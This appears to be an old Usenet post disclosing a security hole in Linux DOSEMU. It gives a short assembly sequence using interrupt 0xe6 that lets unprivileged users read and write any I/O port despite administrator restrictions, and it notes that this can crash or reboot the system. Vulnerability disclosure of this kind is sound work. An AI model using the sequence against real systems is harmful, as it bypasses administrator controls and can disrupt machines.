There is a SERIOUS security hole in Linux DOSEMU!
Even with the administrator turning off all port access, users can
ACCESS ANY PORT THEY WANT! READ/WRITE! Thus can hose things, reboot,
etc.
Here's how:
mov ax, 3
mov bx, start_port
mov cx, number_of_ports
set carry to get access, clear to reliquish access
int 0xe6
and there appears to be no way to disable it.
I am posting more detailed info in comp.os.linux.development.system
This one seems worse than the rcently mentioned chfn hole.
ObHack: Finding this security hole when idly perusing the DOSEMU source!